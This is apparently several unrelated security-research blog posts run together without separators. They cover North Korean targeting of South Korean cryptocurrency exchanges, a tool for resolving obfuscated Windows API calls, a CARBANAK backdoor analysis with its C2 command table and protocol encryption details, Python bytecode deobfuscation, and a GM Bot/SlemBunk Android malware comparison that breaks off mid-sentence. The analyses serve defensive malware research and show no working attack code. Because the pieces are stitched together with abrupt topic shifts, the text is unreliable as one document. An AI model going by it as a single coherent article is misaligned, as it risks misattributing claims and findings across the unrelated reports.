2017 North Korean Activity Against South Korean Cryptocurrency Targets
April 22 – Four
wallets on Yapizon, a South Korean cryptocurrency exchange,
are compromised. (It is worth noting that at least some of the
tactics, techniques, and procedures were reportedly employed during
this compromise were different than those we have observed in
following intrusion attempts and as of yet there are no clear
indications of North Korean involvement).
April 26 – The
United States announces a strategy of increased economic sanctions
against North Korea. Sanctions from the international community
could be driving North Korean interest in cryptocurrency, as
discussed earlier.
Early May – Spearphishing against South
Korean Exchange #1 begins.
Late May – South Korean Exchange
#2 compromised via spearphish.
Early June – More suspected
North Korean activity targeting unknown victims, believed to be
cryptocurrency service providers in South Korea.
Early July
– South Korean Exchange #3 targeted via spear phishing to personal
account.
Benefits to Targeting Cryptocurrencies
While bitcoin and cryptocurrency exchanges may seem like odd targets
for nation state actors interested in funding state coffers, some of
the other illicit endeavors North Korea pursues further demonstrate
interest in conducting financial crime on the regime’s behalf. North
Korea's Office 39 is involved in activities such as gold smuggling,
counterfeiting foreign currency, and even operating restaurants.
Besides a focus on the global banking system and cryptocurrency
exchanges, a recent report by a South Korean institute noted
involvement by North Korean actors in targeting
ATMs with malware, likely actors at the very least supporting
similar ends.
If actors compromise an exchange itself (as opposed to an individual
account or wallet) they potentially can move cryptocurrencies out of
online wallets, swapping them for other, more anonymous
cryptocurrencies or send them directly to other wallets on different
exchanges to withdraw them in fiat currencies such as South Korean
won, US dollars, or Chinese renminbi. As the regulatory environment
around cryptocurrencies is still emerging, some exchanges in different
jurisdictions may have lax anti-money laundering controls easing this
process and make the exchanges an attractive tactic for anyone seeking
hard currency.
Conclusion
As bitcoin and other cryptocurrencies have increased in value in the
last year, nation states are beginning to take notice. Recently, an
advisor to President Putin in Russia announced plans
to raise funds to increase Russia's share of bitcoin mining, and
senators in Australia's parliament have proposed developing their own
national cryptocurrency.
Consequently, it should be no surprise that cryptocurrencies, as an
emerging asset class, are becoming a target of interest by a regime
that operates in many ways like a criminal enterprise. While at
present North Korea is somewhat distinctive in both their willingness
to engage in financial crime and their possession of cyber espionage
capabilities, the uniqueness of this combination will likely not last
long-term as rising cyber powers may see similar potential. Cyber
criminals may no longer be the only nefarious actors in this space.
The following blog discusses a couple of common techniques that
malware uses to obscure its access to the Windows API. In both forms
examined, analysts must calculate the API start address and resolve
the symbol from the runtime process in order to determine functionality.
After introducing the techniques, we present an open source tool
we developed that can be used to resolve addresses from a process
running in a virtual machine by an IDA script. This gives us an
efficient way to quickly add readability back into the disassembly.
Techniques
When performing an analysis, it is very common to see malware try to
obscure the API it uses. As a malware analyst, determining which API
is used is one of the first things we must resolve in order to
determine the capabilities of the code.
Two common obfuscations we are going to look at in this blog are
encoded function pointer tables and detours style hook stubs. In both
of these scenarios the entry point to the API is not directly visible
in the binary.
For an example of what we are talking about, consider the code in
Figure 1, which was taken from a memory dump of xdata crypto
ransomware sample C6A2FB56239614924E2AB3341B1FBBA5.
Figure 1: API obfuscation code from a crypto
ransomware sample
In Figure 1, we see one numeric value being loaded into eax, XORed
against another, and then being called as a function pointer. These
numbers only make sense in the context of a running process. We can
calculate the final number from the values contained in the memory
dump, but we also need a way to know which API address it resolved to
in this particular running process. We also have to take into account
that DLLs can be rebased due to conflicts in preferred base address,
and systems with ASLR enabled.
Figure 2 shows one other place we can look to see where the values
were initially set.
Figure 2: Crypto malware setting obfuscated
function pointer from API hash
In this case, the initial value is loaded from an API hash lookup –
again not of immediate value. Here we have hit a crossroad, with
multiple paths we can take to resolve the problem. We can search for a
published hash list, extract the hasher and build our own database, or
figure out a way to dynamically resolve the decoded API address.
Before we choose which path to take, let us consider another sample.
Figure 3 shows code from Andromeda sample, 3C8B018C238AF045F70B38FC27D0D640.
Figure 3: API redirection code from an Andromeda sample
This code was found in a memory injection. Here we can see what
looks to be a detours style trampoline, where the first instruction
was stolen from the actual Windows API and placed in a small stub with
an immediate jump taken back to the original API + x bytes.
In this situation, the malware accesses all of the API through these
stubs and we have no clear resolution as to which stub points where.
From the disassembly we can also see that the stolen instructions are
of variable length.
In order to resolve where these functions go, we would have to:
enumerate all of the stubs
calculate how many bytes
are in the first instruction
extract the jmp address
subtract the stolen byte count to find the API entrypoint
resolve the calculated address for this specific process
instance
rename the stub to a meaningful value
In this sample, looking for cross references on where the value is
set does not yield any results.
Here we have two manifestations of essentially the same problem. How
do we best resolve calculated API addresses and add this information
back into our IDA database?
One of the first techniques used was to calculate all of the final
addresses, write them to a binary file, inject the data into the
process, and examine the table in the debugger (Figure 4). Since the
debugger already has a API address look up table, this gives a crude
yet quick method to get the information we need.
Figure 4: ApiLogger from iDefense MAP injecting
a data file into a process and examining results in debugger
From here we can extract the resolved symbols and write a script to
integrate them into our IDB. This works, but it is bulky and involves
several steps.
Our Tool
What we really want is to build our own symbol lookup table for a
process and create a streamlined way to access it from our scripts.
The first question is: How can we build our own lookup table of API
addresses to API names? To resolve this information, we need to follow
some steps:
enumerate all of the DLLs loaded into a process
for
each DLL, walk the export table and extract function name and
RVA
calculate API entrypoint based on DLL base address and
export RVA
build a lookup table based on all of this
information
While this sounds like a lot of work, libraries are already
available that handle all of the heavy lifting. Figure 5 shows a
screenshot of a remote lookup
tool we developed for such occasions.
Figure 5: Open source remote lookup application
In order to maximize the benefits of this type of tool, the tool
must be efficient. What is the best way to interface with this data?
There are several factors to consider here, including how the data is
submitted, what input formats are accepted, and how well the tool can
be integrated with the flow of the analysis process.
The first consideration is how we interface with it. For maximum
flexibility, three methods were chosen. Lookups can be submitted:
individually via textbox
in bulk by file or
over the network by a remote client
In terms of input formats, it accepts the following:
hex memory address
case insensitive API name
dll_name@ordinal
dll_name.export_name
The tool output is in the form of a CSV list that includes address,
name, ordinal, and DLL.
With the base tool capabilities in place, we still need an efficient
streamlined way to use it during our analysis. The individual lookups
are nice for offhand queries and testing, but not in bulk. The bulk
file lookup is nice on occasion, but it still requires data
export/import to integrate results with your IDA database.
What is really needed is a way to run a script in IDA, calculate the
API address, and then resolve that address inline while running an IDA
script. This allows us to rename functions and pointers on the fly as
the script runs all in one shot. This is where the network client
capability comes in.
Again, there are many approaches to this. Here we chose to integrate
a network client into a beta of IDA Jscript (Figure 6). IDA Jscript is
an open source IDA scripting tool with IDE that includes syntax
highlighting, IntelliSense, function prototype tooltips, and debugger.
Figure 6: Open source IDA Jscript decoding and
resolving API addresses
In this example we see a script that decodes the xdata pointer
table, resolves the API address over the network, and then generates
an IDC script to rename the pointers in IDA.
After running this script and applying the results, the decompiler
output becomes plainly readable (Figure 7).
Figure 7: Decompiler output from the xdata
sample after symbol resolution
Going back to the Andromeda sample, the API information can be
restored with the brief idajs script shown in Figure 8.
Figure 8: small idajs script to remotely resolve
and rename Andromeda API hook stubs
For IDAPython users, a python remote lookup client is also available.
Conclusion
It is common for malware to use techniques that mask the Windows API
being used. These techniques force malware analysts to have to extract
data from runtime data, calculate entry point addresses, and then
resolve their meaning within the context of a particular running process.
In previous techniques, several manual stages were involved that
were bulky and time intensive.
This blog introduces a small simple open source tool that can
integrate well into multiple IDA scripting languages. This combination
allows analysts streamlined access to the data required to quickly
bypass these types of obfuscations and continue on with their analysis.
We are happy to be able to open source the remote lookup application
so that others may benefit and adapt it to their own needs. Sample
network clients have been provided for Python, C#, D, and VB6.
In this blog, we will take a closer look at the powerful, versatile
backdoor known as CARBANAK (aka Anunak). Specifically, we will
focus on the operational details of its use over the past few years,
including its configuration, the minor variations observed from sample
to sample, and its evolution. With these details, we will then draw
some conclusions about the operators of CARBANAK. For some additional
background on the CARBANAK backdoor, see the papers by Kaspersky and
Group-IB and Fox-It.
Technical Analysis
Before we dive into the meat of this blog, a brief technical
analysis of the backdoor is necessary to provide some context.
CARBANAK is a full-featured backdoor with data-stealing capabilities
and a plugin architecture. Some of its capabilities include key
logging, desktop video capture, VNC, HTTP form grabbing, file system
management, file transfer, TCP tunneling, HTTP proxy, OS destruction,
POS and Outlook data theft and reverse shell. Most of these
data-stealing capabilities were present in the oldest variants of
CARBANAK that we have seen and some were added over time.
Monitoring Threads
The backdoor may optionally start one or more threads that perform
continuous monitoring for various purposes, as described in Table 1.
Thread Name
Description
Key logger
Logs key strokes for configured
processes and sends them to the command and control (C2)
server
Form grabber
Monitors HTTP traffic for form data
and sends it to the C2 server
POS monitor
Monitors for changes to logs stored
in C:\NSB\Coalition\Logs and nsb.pos.client.log and sends
parsed data to the C2 server
PST monitor
Searches recursively for newly
created Outlook personal storage table (PST) files within user
directories and sends them to the C2 server
HTTP proxy monitor
Monitors HTTP traffic for requests
sent to HTTP proxies, saves the proxy address and credentials
for future use
Table 1: Monitoring threads
Commands
In addition to its file management capabilities, this data-stealing
backdoor supports 34 commands that can be received from the C2 server.
After decryption, these 34 commands are plain text with parameters
that are space delimited much like a command line. The command and
parameter names are hashed before being compared by the binary, making
it difficult to recover the original names of commands and parameters.
Table 2 lists these commands.
Command Hash
Command Name
Description
0x0AA37987
loadconfig
Runs each command specified in the
configuration file (see the Configuration section).
0x007AA8A5
state
Updates the state value (see the Configuration
section).
0x007CFABF
video
Desktop video recording
0x06E533C4
download
Downloads executable and injects into new
process
0x00684509
ammyy
Ammyy Admin tool
0x07C6A8A5
update
Updates self
0x0B22A5A7
Add/Update klgconfig (analysis incomplete)
0x0B77F949
httpproxy
Starts HTTP proxy
0x07203363
killos
Renders computer unbootable by wiping the
MBR
0x078B9664
reboot
Reboots the operating system
0x07BC54BC
tunnel
Creates a network tunnel
0x07B40571
adminka
Adds new C2 server or proxy address for
pseudo-HTTP protocol
0x079C9CC2
server
Adds new C2 server for custom binary
protocol
0x0007C9C2
user
Creates or deletes Windows user account
0x000078B0
rdp
Enables concurrent RDP (analysis
incomplete)
0x079BAC85
secure
Adds Notification Package (analysis
incomplete)
0x00006ABC
del
Deletes file or service
0x0A89AF94
startcmd
Adds command to the configuration file (see
the Configuration section)
0x079C53BD
runmem
Downloads executable and injects directly
into new process
0x0F4C3903
logonpasswords
Send Windows accounts details to
the C2 server
0x0BC205E4
screenshot
Takes a screenshot of the desktop
and sends it to the C2 server
0x007A2BC0
sleep
Backdoor sleeps until specified date
0x0006BC6C
dupl
Unknown
0x04ACAFC3
Upload files to the C2 server
0x00007D43
vnc
Runs VNC plugin
0x09C4D055
runfile
Runs specified executable file
0x02032914
killbot
Uninstalls backdoor
0x08069613
listprocess
Returns list of running processes
to the C2 server
0x073BE023
plugins
Change C2 protocol used by plugins
0x0B0603B4
Download and execute shellcode from
specified address
0x0B079F93
killprocess
Terminates the first process
found specified by name
0x00006A34
cmd
Initiates a reverse shell to the C2
server
0x09C573C7
runplug
Plugin control
0x08CB69DE
autorun
Updates backdoor
Table 2: Supported Commands
Configuration
A configuration file resides in a file under the backdoor’s
installation directory with the .bin extension. It contains commands
in the same form as those listed in Table 2 that are automatically
executed by the backdoor when it is started. These commands are also
executed when the loadconfig command is issued. This file can be
likened to a startup script for the backdoor. The state command sets a
global variable containing a series of Boolean values represented as
ASCII values ‘0’ or ‘1’ and also adds itself to the configuration
file. Some of these values indicate which C2 protocol to use, whether
the backdoor has been installed, and whether the PST monitoring thread
is running or not. Other than the state command, all commands in the
configuration file are identified by their hash’s decimal value
instead of their plain text name. Certain commands, when executed, add
themselves to the configuration so they will persist across (or be
part of) reboots. The loadconfig and state commands are executed
during initialization, effectively creating the configuration file if
it does not exist and writing the state command to it.
Figure 1 and Figure 2 illustrate some sample, decoded configuration
files we have come across in our investigations.
Figure 1: Configuration file that adds new C2
server and forces the data-stealing backdoor to use it
Figure 2: Configuration file that adds TCP
tunnels and records desktop video
Command and Control
CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom
binary protocol.
Pseudo-HTTP Protocol
Messages for the pseudo-HTTP protocol are delimited with the ‘|’
character. A message starts with a host ID composed by concatenating a
hash value generated from the computer’s hostname and MAC address to a
string likely used as a campaign code. Once the message has been
formatted, it is sandwiched between an additional two fields of
randomly generated strings of upper and lower case alphabet
characters. An example of a command polling message and a response to
the listprocess command are given in Figure 3 and Figure 4, respectively.
Figure 3: Example command polling message
Figure 4: Example command response message
Messages are encrypted using Microsoft’s implementation of RC2 in
CBC mode with PKCS#5 padding. The encrypted message is then Base64
encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’
characters, respectively. The eight-byte initialization vector (IV) is
a randomly generated string consisting of upper and lower case
alphabet characters. It is prepended to the encrypted and encoded message.
The encoded payload is then made to look like a URI by having a
random number of ‘/’ characters inserted at random locations within
the encoded payload. The malware then appends a script extension (php,
bml, or cgi) with a random number of random parameters or a file
extension from the following list with no parameters: gif, jpg, png,
htm, html, php.
This URI is then used in a GET or POST request. The body of the POST
request may contain files contained in the cabinet format. A sample
GET request is shown in Figure 5.
Figure 5: Sample pseudo-HTTP beacon
The pseudo-HTTP protocol uses any proxies discovered by the HTTP
proxy monitoring thread or added by the adminka command. The backdoor
also searches for proxy configurations to use in the registry at
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings and
for each profile in the Mozilla Firefox configuration file at %AppData%\Mozilla\Firefox\<ProfileName>\prefs.js.
Custom Binary Protocol
Figure 6 describes the structure of the malware’s custom binary
protocol. If a message is larger than 150 bytes, it is compressed with
an unidentified algorithm. If a message is larger than 4096 bytes, it
is broken into compressed chunks. This protocol has undergone several
changes over the years, each version building upon the previous
version in some way. These changes were likely introduced to render
existing network signatures ineffective and to make signature creation
more difficult.
Figure 6: Binary protocol message format
Version 1
In the earliest version of the binary protocol, we have discovered
that the message bodies that are stored in the <chunkData> field
are simply XORed with the host ID. The initial message is not
encrypted and contains the host ID.
Version 2
Rather than using the host ID as the key, this version uses a random
XOR key between 32 and 64 bytes in length that is generated for each
session. This key is sent in the initial message.
Version 3
Version 3 adds encryption to the headers. The first 19 bytes of the
message headers (up to the <hdrXORKey2> field) are XORed with a
five-byte key that is randomly generated per message and stored in the
<hdrXORKey2> field. If the <flag> field of the message
header is greater than one, the XOR key used to encrypt message bodies
is iterated in reverse when encrypting and decrypting messages.
Version 4
This version adds a bit more complexity to the header encryption
scheme. The headers are XOR encrypted with <hdrXORKey1> and
<hdrXORKey2> combined and reversed.
Version 5
Version 5 is the most sophisticated of the binary protocols we have
seen. A 256-bit AES session key is generated and used to encrypt both
message headers and bodies separately. Initially, the key is sent to
the C2 server with the entire message and headers encrypted with the
RSA key exchange algorithm. All subsequent messages are encrypted with
AES in CBC mode. The use of public key cryptography makes decryption
of the session key infeasible without the C2 server’s private key.
The Roundup
We have rounded up 220 samples of the CARBANAK backdoor and compiled
a table that highlights some interesting details that we were able to
extract. It should be noted that in most of these cases the backdoor
was embedded as a packed payload in another executable or in a
weaponized document file of some kind. The MD5 hash is for the
original executable file that eventually launches CARBANAK, but the
details of each sample were extracted from memory during execution.
This data provides us with a unique insight into the operational
aspect of CARBANAK and can be downloaded here.
Protocol Evolution
As described earlier, CARBANAK’s binary protocol has undergone
several significant changes over the years. Figure 7 illustrates a
rough timeline of this evolution based on the compile times of samples
we have in our collection. This may not be entirely accurate because
our visibility is not complete, but it gives us a general idea as to
when the changes occurred. It has been observed that some builds of
this data-stealing backdoor use outdated versions of the protocol.
This may suggest multiple groups of operators compiling their own
builds of this data-stealing backdoor independently.
Figure 7: Timeline of binary protocol versions
*It is likely that we are missing an earlier build that utilized
version 3.
Build Tool
Most of CARBANAK’s strings are encrypted in order to make analysis
more difficult. We have observed that the key and the cipher texts for
all the encrypted strings are changed for each sample that we have
encountered, even amongst samples with the same compile time. The RC2
key used for the HTTP protocol has also been observed to change among
samples with the same compile time. These observations paired with the
use of campaign codes that must be configured denote the likely
existence of a build tool.
Rapid Builds
Despite the likelihood of a build tool, we have found 57 unique
compile times in our sample set, with some of the compile times being
quite close in proximity. For example, on May 20, 2014, two builds
were compiled approximately four hours apart and were configured to
use the same C2 servers. Again, on July 30, 2015, two builds were
compiled approximately 12 hours apart.
What changes in the code can we see in such short time intervals
that would not be present in a build tool? In one case, one build was
programmed to execute the runmem command for a file named wi.exe while
the other was not. This command downloads an executable from the C2
and directly runs it in memory. In another case, one build was
programmed to check for the existence of the domain blizko.net in the
trusted sites list for Internet Explorer while the other was not.
Blizko is an online money transfer service. We have also seen that
different monitoring threads from Table 1 are enabled from build to
build. These minor changes suggest that the code is quickly modified
and compiled to adapt to the needs of the operator for particular targets.
Campaign Code and Compile Time Correlation
In some cases, there is a close proximity of the compile time of a
CARBANAK sample to the month specified in a particular campaign code.
Figure 8 shows some of the relationships that can be observed in our
data set.
Campaign Code
Compile Date
Aug
7/30/15
dec
12/8/14
julyc
7/2/16
jun
5/9/15
june
5/25/14
june
6/7/14
junevnc
6/20/14
juspam
7/13/14
juupd
7/13/14
may
5/20/14
may
5/19/15
ndjun
6/7/16
SeP
9/12/14
spamaug
8/1/14
spaug
8/1/14
Figure 8: Campaign code to compile time relationships
Recent Updates
Recently, 64 bit variants of the backdoor have been discovered. We
shared details about such variants in a recent blog
post. Some of these variants are programmed to sleep until a
configured activation date when they will become active.
History
The “Carbanak Group”
Much of the publicly released reporting surrounding the CARBANAK
malware refers to a corresponding “Carbanak Group”, who appears to be
behind the malicious activity associated with this data-stealing
backdoor. FireEye iSIGHT Intelligence has tracked several separate
overarching campaigns employing the CARBANAK tool and other associated
backdoors, such as DRIFTPIN (aka Toshliph). With the data
available at this time, it is unclear how interconnected these
campaigns are – if they are all directly orchestrated by the same
criminal group, or if these campaigns were perpetrated by loosely
affiliated actors sharing malware and techniques.
FIN7
In all Mandiant investigations to date where the CARBANAK backdoor
has been discovered, the activity has been attributed to the FIN7
threat group. FIN7 has been extremely active against the U.S.
restaurant and hospitality industries since mid-2015.
FIN7 uses CARBANAK as a post-exploitation tool in later phases of an
intrusion to cement their foothold in a network and maintain access,
frequently using the video command to monitor users and learn about
the victim network, as well as the tunnel command to proxy connections
into isolated portions of the victim environment. FIN7 has
consistently utilized legally purchased code signing certificates to
sign their CARBANAK payloads. Finally, FIN7 has leveraged several new
techniques that we have not observed in other CARBANAK related activity.
We have covered recent FIN7 activity in previous public blog posts:
The FireEye iSIGHT Intelligence MySIGHT Portal contains additional
information on our investigations and observations into FIN7 activity.
Widespread Bank Targeting Throughout the U.S., Middle East and Asia
Proofpoint initially reported on a widespread
campaign targeting banks and financial organizations throughout
the U.S. and Middle East in early 2016. We identified several
additional organizations in these regions, as well as in Southeast
Asia and Southwest Asia being targeted by the same attackers.
This cluster of activity persisted from late 2014 into early 2016.
Most notably, the infrastructure utilized in this campaign overlapped
with LAZIOK, NETWIRE and other malware targeting similar financial
entities in these regions.
DRIFTPIN
DRIFTPIN (aka Spy.Agent.ORM, and Toshliph) has been
previously associated with CARBANAK in various campaigns. We have seen
it deployed in initial spear phishing by FIN7 in the first half of
2016. Also, in late 2015, ESET
reported on CARBANAK associated attacks, detailing a spear
phishing campaign targeting Russian and Eastern European banks using
DRIFTPIN as the malicious payload. Cyphort Labs also revealed that
variants of DRIFTPIN associated with this cluster of activity had been
deployed via
the RIG exploit kit placed on two compromised Ukrainian banks’ websites.
FireEye iSIGHT Intelligence observed this wave of spear phishing
aimed at a large array of targets, including U.S. financial
institutions and companies associated with Bitcoin trading and mining
activities. This cluster of activity continues to be active now to
this day, targeting similar entities. Additional details on this
latest activity are available on the FireEye iSIGHT Intelligence
MySIGHT Portal.
Earlier CARBANAK Activity
In December 2014, Group-IB and Fox-IT released a report about an
organized criminal group using malware
called "Anunak" that has targeted Eastern European
banks, U.S. and European point-of-sale systems and other entities. Kaspersky
released a similar report about the same group under the name
"Carbanak" in February 2015. The name “Carbanak” was coined
by Kaspersky in this report – the malware authors refer to the
backdoor as Anunak.
This activity was further linked to the 2014 exploitation of ATMs in
Ukraine. Additionally, some of this early activity shares a similarity
with current FIN7 operations – the use of Power Admin PAExec for
lateral movement.
Conclusion
The details that can be extracted from CARBANAK provide us with a
unique insight into the operational details behind this data-stealing
malware. Several inferences can be made when looking at such data in
bulk as we discussed above and are summarized as follows:
Based upon the information we have observed, we believe that
at least some of the operators of CARBANAK either have access to the
source code directly with knowledge on how to modify it or have a
close relationship to the developer(s).
Some of the
operators may be compiling their own builds of the backdoor
independently.
A build tool is likely being used by these
attackers that allows the operator to configure details such as C2
addresses, C2 encryption keys, and a campaign code. This build tool
encrypts the binary’s strings with a fresh key for each build.
Varying campaign codes indicate that independent or loosely
affiliated criminal actors are employing CARBANAK in a wide-range of
intrusions that target a variety of industries but are especially
directed at financial institutions across the globe, as well as the
restaurant and hospitality sectors within the U.S.
During an investigation, the FLARE team came across an interesting
Python malware sample (MD5: 61a9f80612d3f7566db5bdf37bbf22cf ) that is
packaged using py2exe. Py2exe is a popular way to
compile and package Python scripts into executables. When we encounter
this type of malware we typically just decompile and read the Python
source code. However, this malware was different, it had its bytecode
manipulated to prevent it from being decompiled easily!
In this blog we’ll analyze the malware and show how we removed the
obfuscation, which allowed us to produce a clean decompile. Here we
release source code to our bytecode_graph module to help you analyze
obfuscated Python bytecode
(https://github.com/fireeye/flare-bytecode_graph). This module allows
you to remove instructions from a bytecode stream, refactor offsets
and generate a new code object that can be further analyzed.
Background
Py2exe is a utility that turns a Python script into an executable,
which allows it to run on a system without a Python interpreter
installed. Analyzing a Py2exe binary is generally a straightforward
process that starts with extracting the Python bytecode followed by
decompiling the code object with a module such as metaor uncompyle2.
Appendix A contains an example script that demonstrates how to extract
a code object from a Py2exe binary.
When attempting to decompile this sample using uncompyle2, the
exception shown in Figure 1 is generated. The exception suggests the
bytecode stream contains code sequences that the decompiler is not expecting.
Figure 1: Uncompyle2 exception trace
Obfuscation that breaks decompilers
To understand why the decompiler is failing, we first need to take a
closer look at the bytecode disassembly. A simple method to
disassemble Python bytecode is to use the built-in module dis. When
using the dis module, it is important to use
the same version of Python as the bytecode to get an accurate
disassembly. Figure 2 contains an example interactive session that
disassembles the script “import sys”. Each line in the disassembly
output contains an optional line number, followed by the bytecode
offset and finally the bytecode instruction mnemonic and any arguments.
Figure 2: Example bytecode disassembly
Using the example script from Appendix A, we can view the
disassembly of the code object to get a better idea what is causing
the decompiler to fail. Figure 3 contains a portion of the disassembly
produced by running script on this sample.
Figure 3: Bytecode disassembly
Looking closer at the disassembly, notice there are several
unnecessary bytecode sequences that have no effect on the logic of the
code. This suggests that a standard compiler did not produce the
bytecode. The first surprising bytecode construct is the use of NOPs, for example, found at bytecode offset 0. The
NOP instruction is not typically included
in compiled Python code because the interpreter does not have to deal
with pipelining issues. The second surprising bytecode construct is
the series of ROT_TWOand ROT_THREEinstructions. The ROT_TWO instruction
rotates the top two stack items and the ROT_THREE rotates the top three stack items. By
calling two successive ROT_TWO or three
ROT_THREE instructions, the stack is
returned to the same state as before the instruction sequence. So,
these sequences have no effect on the logic of the code, but may
confuse decompilers. Lastly, the LOAD_CONST
and POP_TOP combinations are unnecessary.
The LOAD_CONST instruction pushes a constant
onto the stack while the POP_TOP removes it.
This again leaves the stack in its original state.
These unnecessary code sequences prevent decompiling bytecode using
modules such as meta and uncompyle2. Many of the ROT_TWO and ROT_THREE
sequences operate on an empty stack that generates errors when
inspected because both modules use a Python List object to simulate
the runtime stack. A pop operation on the
empty list generates exceptions that halt the decompilation process.
In contrast, when Python interpreter executes the bytecode, no checks
are made on the stack before performing operations on it. Take for
example ROT_TWO from ceval.cin Figure 4.
Figure 4: ROT_TWO source
Looking at the macro definitions for TOP, SECOND,
SET_TOP and SET_SECOND from ceval.c
in Figure 5, the lack of sanity checks allow these code sequences to
execute without stopping.
Figure 5: Macro definitions
The NOPs and LOAD_CONST/POP_TOP sequences stop the
decompilation process in situations where the next or previous
instructions are expected to be a specific value. An example debug
trace for uncompyle2 is shown in Figure 6
where the previous instruction is expected to be a jump or a return.
Removing the obfuscation
Now that the types of obfuscation have been identified, the next
step is to clean the bytecode in hopes of getting a successful
decompile. The opmap dictionary from the
dis module is very helpful when
manipulating bytecode streams. When using opmap, instructions can be referenced by name
rather than a specific bytecode value. For example, the NOP bytecode binary value is available with dis.opmap[‘NOP’].
Appendix B contains an example script that replaces the ROT_TWO, ROT_THREE and LOAD_CONST/POP_TOP sequences with NOP instructions and creates a new code object.
The disassembly produced from running the script in Appendix A on the
malware is shown in Figure 6.
Figure 6: Clean disassembly
At this point, the disassembly is somewhat easier to read with the
unnecessary instruction sequences replaced with NOPs, but the bytecode
still fails to decompile. The failure is due how uncompyle2 and meta deal
with exceptions. The problem is demonstrated in Figure 7 with a simple
script that includes an exception handler.
Figure 7: Exception handler
In Figure 7, the exception handler is created using the SETUP_EXCEPT instruction at offset 0 with the
handler code beginning at offset 13 with the
three POP_TOP instructions. Both the meta and uncompyle2
modules inspect the instruction prior to the exception handler to
verify it is a jump instruction. If the instruction isn’t a jump, the
decompile process is halted. In the case of this malware, the
instruction is a NOP because of the
obfuscation instructions were removed.
At this point, to get a successful decompile, we have two options.
First, we can reorder instructions to make sure they are where the
decompiler expects them. Alternatively, we can remove all the NOP
instructions. Both strategies can be complicated and tedious because
absolute and relative addresses for any jump instructions need to also
be updated. This is where the bytecode_graph
module comes in. Using the bytecode_graph
module, it’s easy to replace and remove instructions from a bytecode
stream and generate a new stream with offsets automatically updated
accordingly. Figure 8 shows an example function that uses the bytecode_graph module to remove all NOP
instructions from a code object.
Figure 8: Example bytecode_graph removing NOP instructions
Summary
In this blog I’ve demonstrated how to remove a simple obfuscation
from a Python code object using the bytecode_graph module. I think you’ll find it easy
to use and a perfect tool for dealing with tricky py2exe samples. You
can download bytecode_graph via pip (pip install bytecode-graph) or from the FLARE
team’s Github page: https://github.com/fireeye/flare-bytecode_graph.
An example script that removes the obfuscation discussed in this
blog can be found here:
https://github.com/fireeye/flare-bytecode_graph/blob/master/examples/bytecode_deobf_blog.py.Hashes
identified that implement this bytecode obfuscation:
On Feb. 19, IBM XForce researchers released an intelligence report
[1]
stating that the source code for GM Bot was leaked to a crimeware
forum in December 2015. GM Bot is a sophisticated Android malware
family that emerged in the Russian-speaking cybercrime underground in
late 2014. IBM also claimed that several Android malware families
recently described in the security community were actually variants of
GM Bot, including Bankosy[2],
MazarBot[3],
and the SlemBunk malware recently described by FireEye[4,
5].
Security vendors may differ in their definition of a malware
“variant.” The term may refer to anything from almost identical code
with slight modifications, to code that has superficial similarities
(such as similar network traffic) yet is otherwise very different.
Using IBM’s reporting, we compared their GM Bot samples to SlemBunk.
Based on the disassembled code of these two families, we agree that
there are enough code similarities to indicate that GM Bot shares a
common origin with SlemBunk. Interestingly, our research led us to
identify an earlier malware family named SimpleLocker – the first
known file-encryption ransomware on Android [6] –
that also shares a common origin with these banking trojan families.
GM Bot and SlemBunk
Our analysis showed that the four GM Bot samples referenced by IBM
researchers all share the same major components as SlemBunk. Figure 1
of our earlier report [4]
is reproduced here, which shows the major components of SlemBunk and
its corresponding class names:
ServiceStarter: An Android receiver that will be
invoked once an app is launched or the device boots up. Its
functionality is to start the monitoring
service, MainService, in the background.
MainService: An Android service that runs in the
background and monitors all running processes on the device. It
prompts the user with an overlay view that resembles the legitimate
app when that app is launched. This monitoring service also
communicates with a remote host by sending the initial device data
and notifying of device status and app preferences.
MessageReceiver: An Android receiver that handles
incoming text messages. In addition to the functionality of
intercepting the authentication code from the bank, this component
also acts as the bot client for remote command and control
(C2).
MyDeviceAdminReceiver: A receiver that requests
administrator access to the Android device the first time the app is
launched. This makes the app more difficult to remove.
Customized UI views: Activity classes that present fake login
pages that mimic those of the real banking apps or social apps to
phish for banking or social account credentials.
Figure 1. Major components of SlemBunk malware family
The first three GM Bot samples have the same package name as our
SlemBunk sample. In addition, the GM Bot samples have five of the same
major components, including the same component names, as the SlemBunk
sample in Figure 1.
The fourth GM Bot sample has a different initial package name, but
unpacks the real payload at runtime. The unpacked payload has the same
major components as the SlemBunk sample, with a few minor changes on
the class names: MessageReceiver replaced with
buziabuzia, and MyDeviceAdminReceiver replaced with MDRA.
Figure 2. Code Structure Comparison between GM
Bot and SlemBunk
Figure 2 shows the code structure similarity between one GM Bot
sample and one SlemBunk sample (SHA256
9425fca578661392f3b12e1f1d83b8307bfb94340ae797c2f121d365852a775e and
SHA256
e072a7a8d8e5a562342121408493937ecdedf6f357b1687e6da257f40d0c6b27 for
GM Bot and SlemBunk, respectively). From this figure, we can see that
the five major components we discussed in our previous post [4]
are also present in GM Bot sample. Other common classes include:
Main, the launching activity of both samples.
MyApplication, the application class that starts before
any other activities of both samples.
SDCardServiceStarter, another receiver that monitors
the status of MainService and restarts it when it dies.
Among all the above components and classes, MainService is
the most critical one. It is started by class Main at the
launching time, keeps working in the background to monitor the top
running process, and overlays a phishing view when a victim app (e.g.,
some mobile banking app) is recognized. To keep MainService
running continuously, malware authors added two receivers –
ServiceStarter and SDCardServiceStarter – to check its
status when particular system events are received. Both GM Bot and
SlemBunk samples share the same architecture. Figure 3 shows the major
code of class SDCardServiceStarter to demonstrate how GM Bot
and SlemBunk use the same mechanism to keep MainService running.
Figure 3. Method onReceive of
SDCardServiceStarter for GM Bot and SlemBunk
From this figure, we can see that GM Bot and SlemBunk use almost
identical code to keep MainService running. Note that both
samples check the country in system locale and avoid starting
MainService when they find the country is Russia. The only
difference is that GM Bot applies renaming obfuscation to some
classes, methods and fields. For example, static variable
“MainService;->a” in GM Bot has the same role as static variable
“MainService;->isRunning” in SlemBunk. Malware authors commonly use
this trick to make their code harder to understand. However this won’t
change the fact that the underlying codes share the same origin.
Figure 4 shows the core code of class MainService to
demonstrate that GM Bot and SlemBunk actually have the same logic for
main service. In Android, when a service is started its
onCreate method will be called. In method onCreate of
both samples, a static variable is first set to true. In GM Bot, this
variable is named “a”, while in SlemBunk it is named “isRunning”. Then
both will move forward to read an app particular preference. Note that
the preferences in both samples have the same name: “AppPrefs”. The
last tasks of these two main services are also the same. Specifically,
in order to check whether any victim apps are running, a runnable
thread is scheduled. If a victim app is running, a phishing view is
